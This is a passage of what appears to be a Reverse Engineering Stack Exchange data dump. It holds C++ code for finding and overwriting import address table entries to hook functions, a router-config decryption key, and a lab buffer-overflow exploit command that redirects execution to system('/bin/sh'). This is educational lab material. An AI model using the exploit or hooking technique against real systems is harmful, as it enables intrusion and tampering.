((BYTE)deObfuscatedAddress == 0xC8) { //enter (invalid opcode)&#xA;                    printf(&quot;invalid 0xC8 = %X %X %X\n&quot;, ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);&#xA;                    deObfuscatedAddress = *(DWORD*)(ptrIndex + insn_len((void*)ptrIndex));&#xA;                    printf(&quot;invalid 0xC8 = %X %X %X\n&quot;, ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);&#xA;                    passDone = false;&#xA;                }&#xA;                goto retryPass;&#xA;            } else {&#xA;                printf(&quot;not found import :(\n&quot;);&#xA;                ptrIndex += sizeof(DWORD);&#xA;                continue;&#xA;            }&#xA;        }&#xA;&#xA;        //now *ptrIndex in dwModBase&#xA;        //now retrieve API info (Hint, name) from the module's export&#xA;        //printf(&quot;ptrIndex %X %X, Mod: %X, Size: %X\n&quot;, *(DWORD *)ptrIndex, ptrIndex, dwModBase, dwModSize);&#xA;        GetAPIInfo(ptrIndex, &amp;amp;iat_module_info);&#xA;        ptrIndex += sizeof(DWORD);&#xA;    }&#xA;}&#xA;&#xA;/************************************************************************/&#xA;/*&#xA;Function : Get AddressOfEntryPoint  (or Original Entry Point)&#xA;Params   : lpAddr is the Base where the exe mapped into&#xA;Return   : OEP (RVA)             */&#xA;/************************************************************************/&#xA;DWORD GetOEP(LPVOID lpAddr)&#xA;{&#xA;    PIMAGE_DOS_HEADER pDOSHDR = (PIMAGE_DOS_HEADER)lpAddr;&#xA;    PIMAGE_NT_HEADERS pNTHDR = (PIMAGE_NT_HEADERS)((unsigned char *)pDOSHDR + pDOSHDR-&amp;gt;e_lfanew);&#xA;    return pNTHDR-&amp;gt;OptionalHeader.AddressOfEntryPoint;&#xA;}&#xA;&#xA;/************************************************************************/&#xA;/*&#xA;Function : Retrieve a process's Import Info only by IAT&#xA;Param    : lpAddr is the address the exe mapped into (within our space)&#xA;ptrIATEnd [out] used to receive the 1st IAT we found (FF25 XXXX, FF15YYYY)&#xA;Return   : the beginning of the page where IAT in&#xA;Search for FF25 XXXX,  or FF15 yyyy&#xA;HelloWorld.exe&#xA;004001E0 &amp;gt; .  EA07D577      DD USER32.MessageBoxA&#xA;004001E4      00000000      DD 00000000&#xA;004001E8 &amp;gt;/$  6A 00         PUSH 0                                   ; /Style = MB_OK|MB_APPLMODAL&#xA;004001EA  |.  6A 00         PUSH 0                                   ; |Title = NULL&#xA;004001EC  |.  6A 00         PUSH 0                                   ; |Text = NULL&#xA;004001EE  |.  6A 00         PUSH 0                                   ; |hOwner = NULL&#xA;004001F0  |.  E8 01000000   CALL &amp;lt;JMP.&amp;amp;USER32.MessageBoxA&amp;gt;           ; \MessageBoxA&#xA;004001F5  \.  C3            RETN&#xA;004001F6   $- FF25 E0014000 JMP DWORD PTR DS:[&amp;lt;&amp;amp;USER32.MessageBoxA&amp;gt;] ;  USER32.MessageBoxA&#xA;Notepad.exe&#xA;0100740B   .  FF15 38130001      CALL DWORD PTR DS:[&amp;lt;&amp;amp;msvcrt.__set_app_ty&amp;gt;;  msvcrt.__set_app_type&#xA;MSPaint.exe&#xA;1000CA65    8B35 58D10110   MOV ESI,DWORD PTR DS:[&amp;lt;&amp;amp;KERNEL32.LCMapSt&amp;gt;; kernel32.LCMapStringW&#xA;*/&#xA;/************************************************************************/&#xA;&#xA;/*&#xA;Need to check all of these&#xA;– 8B0D MOV ECX,[ADDRESS]&#xA;– 8B15 MOV EDX,[ADDRESS]&#xA;– 8B1D MOV EBX,[ADDRESS]&#xA;– 8B25 MOV ESP,[ADDRESS]&#xA;– 8B2D MOV EBP,[ADDRESS]&#xA;– 8B35 MOV ESI,[ADDRESS]&#xA;– 8B3D MOV EDI,[ADDRESS]&#xA;– A1 MOV EAX,[ADDRESS]&#xA;- FF15 CALL [ADDRESS]&#xA;– FF25 JMP [ADDRESS]&#xA;– FF35 PUSH [ADDRESS]&#xA;*/&#xA;&#xA;DWORD SearchIAT(LPVOID lpAddr, DWORD dwImageSize, DWORD pImageBase, DWORD dwMaxIATImageSize, DWORD *ptrIATEnd)&#xA;{&#xA;    DWORD pImageSectionStart = 0;&#xA;    DWORD instruction_length;&#xA;    DWORD *ptrFuncAddr = NULL;     //like xxx in JMP DWORD PTR DS:[XXXX]&#xA;    DWORD ptrFuncAddrHighest = NULL;&#xA;    DWORD dwOEP = NULL;&#xA;    BYTE *pCode = NULL;&#xA;    DWORD i = NULL;&#xA;    WORD  wJMP = 0x25FF;&#xA;    WORD  wCALL = 0x15FF;&#xA;&#xA;    dwOEP = GetOEP(lpAddr);&#xA;    i = dwOEP;&#xA;    pCode = (BYTE *)((BYTE *)lpAddr + dwOEP);&#xA;&#xA;    // get the location of the module's IMAGE_NT_HEADERS structure&#xA;    IMAGE_NT_HEADERS *pNtHdr = ImageNtHeader(lpAddr);&#xA;    // section table immediately follows the IMAGE_NT_HEADERS&#xA;    IMAGE_SECTION_HEADER *pSectionHdr = (IMAGE_SECTION_HEADER *)(pNtHdr + 1);&#xA;&#xA;    bool got = false;&#xA;    for (int scn = 0; scn &amp;lt; pNtHdr-&amp;gt;FileHeader.NumberOfSections; ++scn)&#xA;    {&#xA;        char *name = (char*)pSectionHdr-&amp;gt;Name;&#xA;        DWORD SectionStart = (DWORD)lpAddr + pSectionHdr-&amp;gt;VirtualAddress;&#xA;        DWORD SectionEnd = (DWORD)lpAddr + pSectionHdr-&amp;gt;VirtualAddress + pSectionHdr-&amp;gt;Misc.VirtualSize - 1;&#xA;&#xA;        if (got) {&#xA;            pImageSectionStart = SectionStart;&#xA;            break;&#xA;        }&#xA;&#xA;        if (SectionStart == pImageBase + dwOEP &amp;amp;&amp;amp; SectionEnd &amp;lt; dwImageSize) {&#xA;            got = true;&#xA;            //next one is imports.&#xA;            ++pSectionHdr;&#xA;            continue;&#xA;        }&#xA;        ++pSectionHdr;&#xA;    }&#xA;&#xA;    if (!pImageSectionStart)&#xA;        pImageSectionStart = dwImageSize;&#xA;&#xA;    printf(&quot;Found OEP at %X, ImageSize = %X,%X\n&quot;, dwOEP, dwImageSize, pImageSectionStart);&#xA;&#xA;    //search for FF 25 XXXX, FF 15 YYYY from OEP, had better use Disasm engine &#xA;    //but we just do it simply&#xA;    while (i &amp;lt; pImageSectionStart)&#xA;    {&#xA;        if (memcmp(pCode, &amp;amp;wJMP, sizeof(WORD))&#xA;            &amp;amp;&amp;amp; memcmp(pCode, &amp;amp;wCALL, sizeof(WORD)))&#xA;        {&#xA;            //&#xA;            instruction_length = insn_len(pCode);&#xA;            pCode += instruction_length;&#xA;            i += instruction_length;&#xA;            continue;&#xA;        }&#xA;&#xA;        //check illegal, *ptrFuncAddr &amp;gt; pImageBase  &amp;amp;&amp;amp; *ptrFuncAddr &amp;lt;= pImageBase + dwImageSize&#xA;        ptrFuncAddr = (DWORD *)(pCode + sizeof(WORD));&#xA;        if (*ptrFuncAddr &amp;lt; (DWORD)pImageBase || *ptrFuncAddr &amp;gt;= (DWORD)pImageBase + dwImageSize)&#xA;        {&#xA;            instruction_length = insn_len(pCode);&#xA;            pCode += instruction_length;&#xA;            i += instruction_length;&#xA;            continue;&#xA;        }&#xA;&#xA;        //need to fix relocation&#xA;        *(DWORD *)ptrFuncAddr = (long)lpAddr + *(long *)ptrFuncAddr - (long)pImageBase;&#xA;        //now found one item that may belongs to IAT&#xA;        ptrFuncAddr = (DWORD *)*ptrFuncAddr;&#xA;&#xA;        if ((DWORD)ptrFuncAddr &amp;gt; ptrFuncAddrHighest) {&#xA;            ptrFuncAddrHighest = (DWORD)ptrFuncAddr;&#xA;            printf(&quot;highest = %X\n&quot;, ptrFuncAddrHighest);&#xA;        }&#xA;&#xA;        //recheck illegal, &#xA;        //for system dlls, what about user dlls? well, whatever, there must be system dlls&#xA;        //what if we found IAT for system dlls, so we found the user dlls.&#xA;        //What if the IAT tables are not continous????????&#xA;        if (*ptrFuncAddr &amp;lt; dwMaxIATImageSize)&#xA;        {&#xA;            instruction_length = insn_len(pCode);&#xA;            pCode += instruction_length;&#xA;            i += instruction_length;&#xA;            continue;&#xA;        }&#xA;        break;&#xA;    }&#xA;&#xA;    //now it seems ptrFuncAddr points some item in IAT, &#xA;    //make ptrFuncAddr point to the beginning of the page&#xA;    //we use 0xFFFEFFFF, because ptrFuncAddr is the memory addr we allocated, not by loadlibrary&#xA;    *ptrIATEnd = (DWORD)ptrFuncAddrHighest;&#xA;    ptrFuncAddr = (DWORD*)(((DWORD)ptrFuncAddr &amp;amp; 0xFFFFF000)&#xA;        + ((DWORD)lpAddr &amp;amp; 0x0FFF)&#xA;        );&#xA;    return (DWORD)ptrFuncAddr;&#xA;&#xA;    //return NULL;&#xA;}&#xA;&#xA;unsigned long Get_Import_Address(char* DLL, char* Library, char* Import, int ordinal = -1)&#xA;{&#xA;    HMODULE mhLoadedDLL = NULL;&#xA;    do&#xA;    {&#xA;        if (!DLL)&#xA;            mhLoadedDLL = GetModuleHandle(NULL);&#xA;        else&#xA;            mhLoadedDLL = GetModuleHandle(DLL);&#xA;        Sleep(100);&#xA;    } while (!mhLoadedDLL);&#xA;&#xA;    MODULEINFO modinfo;&#xA;    GetModuleInformation(GetCurrentProcess(), mhLoadedDLL, &amp;amp;modinfo, sizeof(MODULEINFO));&#xA;    DWORD ModuleSize = (unsigned long)modinfo.SizeOfImage;&#xA;&#xA;    PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)mhLoadedDLL;&#xA;    PIMAGE_NT_HEADERS NtHeader;&#xA;    PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor;&#xA;    UINT Index = 0;&#xA;&#xA;&#xA;    NtHeader = (PIMAGE_NT_HEADERS)(((PBYTE)DosHeader) + DosHeader-&amp;gt;e_lfanew);&#xA;    if (NtHeader-&amp;gt;Signature != IMAGE_NT_SIGNATURE)&#xA;        return 0;&#xA;&#xA;    ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(((PBYTE)DosHeader) + NtHeader-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);&#xA;&#xA;    if (mhLoadedDLL) {&#xA;        ULONG Sz;&#xA;        ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToDataEx(mhLoadedDLL, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &amp;amp;Sz, nullptr);&#xA;    }&#xA;&#xA;    __try {&#xA;        //&#xA;        // Iterate over import descriptors/DLLs.&#xA;        //&#xA;        for (Index = 0; (ImportDescriptor[Index].Characteristics != 0 || ImportDescriptor[Index].Name); Index++) {&#xA;            PSTR dllName = (PSTR)(((PBYTE)DosHeader) + ImportDescriptor[Index].Name);&#xA;&#xA;            if (_strcmpi(dllName, Library) == 0) {&#xA;                // This the DLL we are after.&#xA;                PIMAGE_THUNK_DATA Thunk;&#xA;                PIMAGE_THUNK_DATA OrigThunk;&#xA;&#xA;                Thunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].FirstThunk);&#xA;                OrigThunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].OriginalFirstThunk);&#xA;&#xA;                //Reset&#xA;                Thunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].FirstThunk);&#xA;                OrigThunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].OriginalFirstThunk);&#xA;&#xA;                for (; OrigThunk-&amp;gt;u1.Function != NULL; OrigThunk++, Thunk++)&#xA;                {&#xA;                    if (ordinal != -1) {&#xA;                        if ((OrigThunk-&amp;gt;u1.Ordinal &amp;amp; IMAGE_ORDINAL_FLAG) &amp;amp;&amp;amp; IMAGE_ORDINAL(OrigThunk-&amp;gt;u1.Ordinal) == ordinal) //send ordinal&#xA;                            return (DWORD)Thunk; //Address of import returns.&#xA;                    }&#xA;&#xA;                    if (OrigThunk-&amp;gt;u1.Ordinal &amp;amp; IMAGE_ORDINAL_FLAG) { // Ordinal import - we can handle named imports only, so skip it.&#xA;                        continue;&#xA;                    }&#xA;&#xA;                    PIMAGE_IMPORT_BY_NAME importt = (PIMAGE_IMPORT_BY_NAME)(((PBYTE)DosHeader) + OrigThunk-&amp;gt;u1.AddressOfData);&#xA;&#xA;                    if (_strcmpi(Import, (char*)importt-&amp;gt;Name) == 0) {&#xA;                        return (DWORD)Thunk; //Address of import returns.&#xA;                    }&#xA;                }&#xA;&#xA;                unsigned long ptrFuncsIndex = (unsigned long)ImportDescriptor[Index].FirstThunk + (DWORD)mhLoadedDLL;&#xA;                DWORD impAddress = (DWORD)GetProcAddress(GetModuleHandle(Library), Import);&#xA;&#xA;                //First get all modules loaded, so you can find the maximum ImageBase+ImageSize for IAT Max Size calculation.&#xA;                if (gs_ModuleList.size() == 0) {&#xA;                    BOOL bRet = SnapShotModules((DWORD)GetCurrentProcess());&#xA;                    if (!bRet)&#xA;                    {&#xA;                        printf(&quot;Failed to get Modules\n&quot;);&#xA;                        return 0;&#xA;                    }&#xA;                }&#xA;&#xA;                DWORD dwMaxIATImageSize = 0x70000000;&#xA;                if (gs_ModuleList.size() &amp;gt; 0) {&#xA;                    auto max_it = std::max_element(gs_ModuleList.begin(), gs_ModuleList.end(), [](const IAT_Module_Info&amp;amp; l, const IAT_Module_Info&amp;amp; h) {&#xA;                        return l.ImageBase &amp;lt; h.ImageBase;&#xA;                    });&#xA;&#xA;                    if (max_it-&amp;gt;ImageBase &amp;gt; 0)&#xA;                        dwMaxIATImageSize = (DWORD)max_it-&amp;gt;ImageBase + max_it-&amp;gt;ImageSize;&#xA;&#xA;                    printf(&quot;Highest Imported DLL = %X %s\n&quot;, max_it-&amp;gt;ImageBase, max_it-&amp;gt;DllName);&#xA;                }&#xA;                //now we do more, retrieve the Page where IAT in&#xA;                DWORD ptrIATEnd = NULL;&#xA;                DWORD ptrIAT = SearchIAT(mhLoadedDLL, ModuleSize, NtHeader-&amp;gt;OptionalHeader.ImageBase, dwMaxIATImageSize, &amp;amp;ptrIATEnd);&#xA;&#xA;                printf(&quot;Rebuilding IAT,Found IAT in page %X, IAT End %X\n&quot;, ptrIAT, ptrIATEnd);&#xA;                if(listOfIATImports.size() == 0)&#xA;                    FixImport((DWORD)GetCurrentProcess(), ptrIAT, ptrIATEnd, ModuleSize);&#xA;&#xA;                if (listOfIATImports.size() &amp;gt; 0) {&#xA;                    auto match = std::find_if(listOfIATImports.cbegin(), listOfIATImports.cend(), [Library, Import](const IAT_Import_Information&amp;amp; s) {&#xA;                        return _strcmpi(s.IATModuleName, Library) == 0 &amp;amp;&amp;amp; _strcmpi(s.IATFunctionName, Import) == 0;&#xA;                    });&#xA;&#xA;                    if (match != listOfIATImports.cend()) {&#xA;                        printf(&quot;Found IAT = %X, %s %s\n&quot;, match-&amp;gt;IATAddress, match-&amp;gt;IATModuleName, match-&amp;gt;IATFunctionName);&#xA;                    }&#xA;&#xA;                    std::list&amp;lt;IAT_Import_Information&amp;gt;::iterator i;&#xA;                    for (i = listOfIATImports.begin();&#xA;                        i != listOfIATImports.end();&#xA;                        i++)&#xA;                    {&#xA;                        printf(&quot;Module: %s Import: %s Address: %X\n&quot;, i-&amp;gt;IATModuleName, i-&amp;gt;IATFunctionName, i-&amp;gt;IATAddress);&#xA;                    }&#xA;&#xA;                } else {&#xA;                    printf(&quot;Couldn't find module %s, import %s\n&quot;, Library, Import);&#xA;                }&#xA;&#xA;            }&#xA;        }&#xA;    }&#xA;    __except (1) {&#xA;        printf(&quot;Exception hit parsing imports\n&quot;);&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another include which is needed is &lt;code&gt;x86_instruction_length.h&lt;/code&gt; can &#xA;&lt;a href=&quot;https://pastebin.com/raw/YMSxjPvL&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/raw/YMSxjPvL&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usage:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DWORD GetTickCountx = Get_Import_Address(NULL, &quot;kernel32.dll&quot;, &quot;GetTickCount&quot;);&#xA;if(GetTickCountx) {&#xA;    if (!VirtualProtect((LPVOID)GetTickCountx , 4, new_rights, &amp;amp;old_rights))&#xA;        return 0;&#xA;    *(DWORD*)(GetTickCountx) = (DWORD)(NewTickCount);&#xA;    VirtualProtect((LPVOID)GetTickCountx , 4, old_rights, &amp;amp;new_rights);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;    &lt;a href=&quot;https://github.com/fatrolls/IAT-Imports-Finder&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/fatrolls/IAT-Imports-Finder&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3510" LastEditorUserId="3510" LastEditDate="2020-06-15T02:30:05.173" LastActivityDate="2020-06-15T02:30:05.173" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25301" PostTypeId="1" CreationDate="2020-06-15T10:35:55.393" Score="2" ViewCount="2548" Body="&lt;p&gt;I'm trying to extract the callee arguments in my intel x86 binary using IDA Pro 7.3. I tried the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ida_typeinf.get_arg_addrs(call_address)  # call address points at `call some_func`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For some reason, the call always returns &lt;code&gt;None&lt;/code&gt;. Is there any other way to do this?&lt;/p&gt;&#xA;" OwnerUserId="33552" LastActivityDate="2022-02-20T21:05:49.313" Title="Getting function arguments in ida" Tags="|ida|x86|idapython|ida-plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25302" PostTypeId="1" AcceptedAnswerId="25310" CreationDate="2020-06-15T11:09:43.333" Score="1" ViewCount="104" Body="&lt;p&gt;I am using radare2 to analyze libpng_amd64.so.1.6.34, commands are as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r2 = r2pipe.open(binary_file)&#xA;r2.cmd('aaa')&#xA;funcs = r2.cmdj('aflj')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;len(funcs) is 461, but the number of functions got by IDA is 526, besides the numbers of strings, imports, exports... are also different. &#xA;I checked the result of radare2 and found some issuses, for example, the function &lt;code&gt;png_write_row&lt;/code&gt; is followed by &lt;code&gt;png_write_rows&lt;/code&gt;. Radare2 can not identity the second function &lt;code&gt;png_write_rows&lt;/code&gt; and consider all code of those two functions to &lt;code&gt;png_write_row&lt;/code&gt;. IDA works correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why they are different? and Why radare2 can not identity functions correctly? how can I use it to get correct results?&lt;/p&gt;&#xA;" OwnerUserId="26830" LastActivityDate="2020-06-16T13:01:21.827" Title="Results of radare2 are not correct" Tags="|ida|disassembly|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25303" PostTypeId="1" CreationDate="2020-06-15T11:59:44.303" Score="1" ViewCount="1732" Body="&lt;p&gt;Ollydbg isn't allowing me to open the executable ntoskrnl. I think im missing something but I don't know what it is (Windows 7, Ollydbg10.0,200)&lt;/p&gt;&#xA;" OwnerUserId="33512" LastActivityDate="2020-06-15T11:59:44.303" Title="Unable to start file &quot;..\ntoskrnl.exe&quot; in ollydbg [What can I do?]" Tags="|assembly|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25304" PostTypeId="1" CreationDate="2020-06-15T08:31:15.657" Score="3" ViewCount="474" Body="&lt;p&gt;I'm trying to reverse engineer my garage door remote (we're having robbery problems here, so I check if it's a weak point), here's what I found, listening on 868MHz:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a &quot;preamble&quot; composed of an alternance of ones and zeros.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, data bits are transmitted using 3 bits, using the form &quot;10x&quot;, I mean, a one, followed by a zero, following by a data bit, I do not recognize this encoding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks to transmit 52 or 53 bits per button press (the last bit is always 0 so I don't really know if I have to count it or not).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I identified, I labelled the columns as far as I understand them, there's 4 lines for 4 distinct records (4 button press):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Constant     Remote specific  b    ?    rolling code ?   &#xA;000011110100 1010101000000100 1000 0000 0011101001011011 0&#xA;000011110100 1010101000000100 0100 0000 1111010101001100 0&#xA;000011110100 1010101000000100 0010 0000 1011000111001010 0&#xA;000011110100 1010101000000100 0001 0000 1000010111011001 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Constant: ... a 12 bits constant, not identified, could be the door id, the vendor ID, a protocol constant, don't know.&lt;/li&gt;&#xA;&lt;li&gt;Remote specific: a 16 bits value, it change when I test another remote so it may be something like the serial number of my remote.&lt;/li&gt;&#xA;&lt;li&gt;b is 4 bits showing the pressed buttons, one bit per button, (4 buttons == 4 bitS), here I pressed successively button 1, 2, 3 and 4 to demo it.&lt;/li&gt;&#xA;&lt;li&gt;the 2nd 4-bits column is always filled of zeros&lt;/li&gt;&#xA;&lt;li&gt;16 bits of maybe a rolling code&lt;/li&gt;&#xA;&lt;li&gt;last bit is always 0, as far as I measured (like 25 records).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A long press emits the same message in a loop (the &quot;rolling code&quot; does not change&quot;), but a release followed by another press make the rolling code change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The remote is a &quot;v2 phoenix&quot;, which looks compatible with the &quot;v2 phox&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea about which protocol it is? (if it's named a &quot;protocol&quot;)&lt;/p&gt;&#xA;" OwnerUserId="33555" OwnerDisplayName="Julien Palard" LastEditorUserId="13506" LastEditDate="2020-06-28T13:12:41.357" LastActivityDate="2023-06-30T02:40:23.643" Title="Garage door rolling code: identifying the implementation" Tags="|remote|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25305" PostTypeId="2" ParentId="14882" CreationDate="2020-06-15T14:53:28.330" Score="1" Body="&lt;p&gt;How does this question differ to your question &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/14711/identify-compression-of-this-zte-zxv10-h201l-v2-backup-config-file&quot;&gt;here&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your key is &lt;code&gt;Renjx%2$CjM&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the &lt;a href=&quot;https://github.com/streetster/zte-config-utility&quot; rel=&quot;nofollow noreferrer&quot;&gt;zcu&lt;/a&gt; module I have written to decode your configuration file e.g.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python3 examples/decode.py config.bin config.xml --key 'Renjx%2$CjM'&#xA;$ head config.xml&#xA;&amp;lt;DB&amp;gt;&#xA;&amp;lt;Tbl name=&quot;DBBase&quot; RowCount=&quot;1&quot;&amp;gt;&#xA;&amp;lt;Row No=&quot;0&quot;&amp;gt;&#xA;&amp;lt;DM name=&quot;IFInfo&quot; val=&quot;0101010004000000010601000000021244010000440200004403000044040000&quot;/&amp;gt;&#xA;&amp;lt;/Row&amp;gt;&#xA;&amp;lt;/Tbl&amp;gt;&#xA;&amp;lt;Tbl name=&quot;ETH&quot; RowCount=&quot;4&quot;&amp;gt;&#xA;&amp;lt;Row No=&quot;0&quot;&amp;gt;&#xA;&amp;lt;DM name=&quot;ViewName&quot; val=&quot;IGD.LD1.ETH1&quot;/&amp;gt;&#xA;&amp;lt;DM name=&quot;LDWDViewName&quot; val=&quot;IGD.LD1&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17778" LastActivityDate="2020-06-15T14:53:28.330" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25306" PostTypeId="2" ParentId="25298" CreationDate="2020-06-15T20:57:11.643" Score="2" Body="&lt;p&gt;I don't think your shell code works even in gdb. The problem is in the address of the string in your shellcode. You are not showing in your question how did you get the address of the string that you use (&lt;code&gt;0x804a028&lt;/code&gt;) but if you would search for &lt;code&gt;'/bin/sh'&lt;/code&gt;, it would probably be at address &lt;code&gt;0x80487d0&lt;/code&gt; and that should be in your shellcode. Right now your are passing an address that points to an address of the string. You just need an address of the string. You could verify it by calling &lt;code&gt;shellcode(exec_string)&lt;/code&gt; and checking the stack/addressess/pointers just before the call to &lt;code&gt;system&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So corrected executions should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./lab2B $(python -c &quot;print 'A' * 27 + '\xbd\x86\x04\x08' + 'BBBB' + '\xd0\x87\x04\x08'&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-06-15T20:57:11.643" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25308" PostTypeId="2" ParentId="25301" CreationDate="2020-06-16T06:38:50.560" Score="1" Body="&lt;p&gt;I have found out that if in the disassembler you give the type to the function that is being called, then the ida python function will work as it should.&lt;/p&gt;&#xA;" OwnerUserId="33552" LastActivityDate="2020-06-16T06:38:50.560" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25309" PostTypeId="1" AcceptedAnswerId="25326" CreationDate="2020-06-16T09:33:53.373" Score="1" ViewCount="489" Body="&lt;p&gt;I'm currently disassembling some firmware, when I stumbled across the following code snippet produced by Ghidra (the names are already my own ones):&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void memset(byte *addr,byte value,int count)&#xA;                            assume LRset = 0x0&#xA;                            assume TMode = 0x1&#xA;  undefined         r0:1           &amp;lt;RETURN&amp;gt;                                &#xA;  byte *            r0:4           addr                                    &#xA;  byte              r1:1           value&#xA;  int               r2:4           count&#xA;  undefined4        r0:4           iPtr                                    &#xA;&#xA;22 b1           cbz        count,LAB_FIN&#xA;02 44           add        count,addr&#xA;                      LAB_LOOP&#xA;00 f8 01 1b     strb.w     value,[iPtr],#0x1&#xA;90 42           cmp        iPtr,count&#xA;fb d1           bne        LAB_LOOP&#xA;                      LAB_FIN  &#xA;70 47           bx         lr&#xA;00              ??         00h&#xA;bf              ??         BFh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ghidra's decompiler produces the following output (after setting some types):&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void memset(byte *addr,byte value,int count)&#xA;{&#xA;  byte *iPtr;&#xA;&#xA;  if (count != 0) {&#xA;    iPtr = addr;&#xA;    do {&#xA;      iPtr = iPtr + 1;&#xA;      *iPtr = value;                // write to iPtr AFTER the pointer was increased&#xA;      iPtr = iPtr;&#xA;    } while (iPtr != addr + count);&#xA;  }&#xA;  return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I have two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The decompiled function suggests that this &lt;code&gt;memset&lt;/code&gt; function will not set the given address (addr) to the specified value, but will always start with &lt;code&gt;addr+1&lt;/code&gt;. This, however, doesn't feel right and as far as I understand the &lt;code&gt;strb.w&lt;/code&gt; instruction it uses post-indexing. Therefore - I think - the order of the pointer-increment and the assignment instruction is wrong. Am I right or do I miss something?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After the bx instruction there are two further bytes. I don't have the slightest idea what they are. Given that they are not &quot;00&quot; I don't think that they are (solely) used for alignment purposes.  (The next function definitively starts directly after these two bytes.) Does anyone have an idea?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="33560" LastActivityDate="2020-06-17T15:10:41.613" Title="Is Ghidra's decompilation of ARMv7 strb.w instruction broken?" Tags="|decompilation|c|arm|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25310" PostTypeId="2" ParentId="25302" CreationDate="2020-06-16T13:01:21.827" Score="0" Body="&lt;p&gt;It might be due to different algorithms used for analysis or different options set for those. &lt;code&gt;r2&lt;/code&gt; (as well as &lt;code&gt;IDA&lt;/code&gt; and &lt;code&gt;Ghidra&lt;/code&gt;) has multiple options that can influence how the code is analyzed and how the functions (and other elements) are being recognized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, &lt;code&gt;png_write_rows&lt;/code&gt;, as far as I can see, this function is not called anywhere in the lib and also doesn't have standard function prologue so it might be for the reason that &lt;code&gt;r2&lt;/code&gt; doesn't recognize it and mark correctly as a function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to fix? You can always modify the final analysis and define a function where the flag for &lt;code&gt;png_write_rows&lt;/code&gt; is. You can do that in Visual mode by typing 'df' (define function).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I would open an &lt;a href=&quot;https://github.com/radareorg/radare2/issues&quot; rel=&quot;nofollow noreferrer&quot;&gt;r2 issue&lt;/a&gt; to get some more info if this is a case of correct 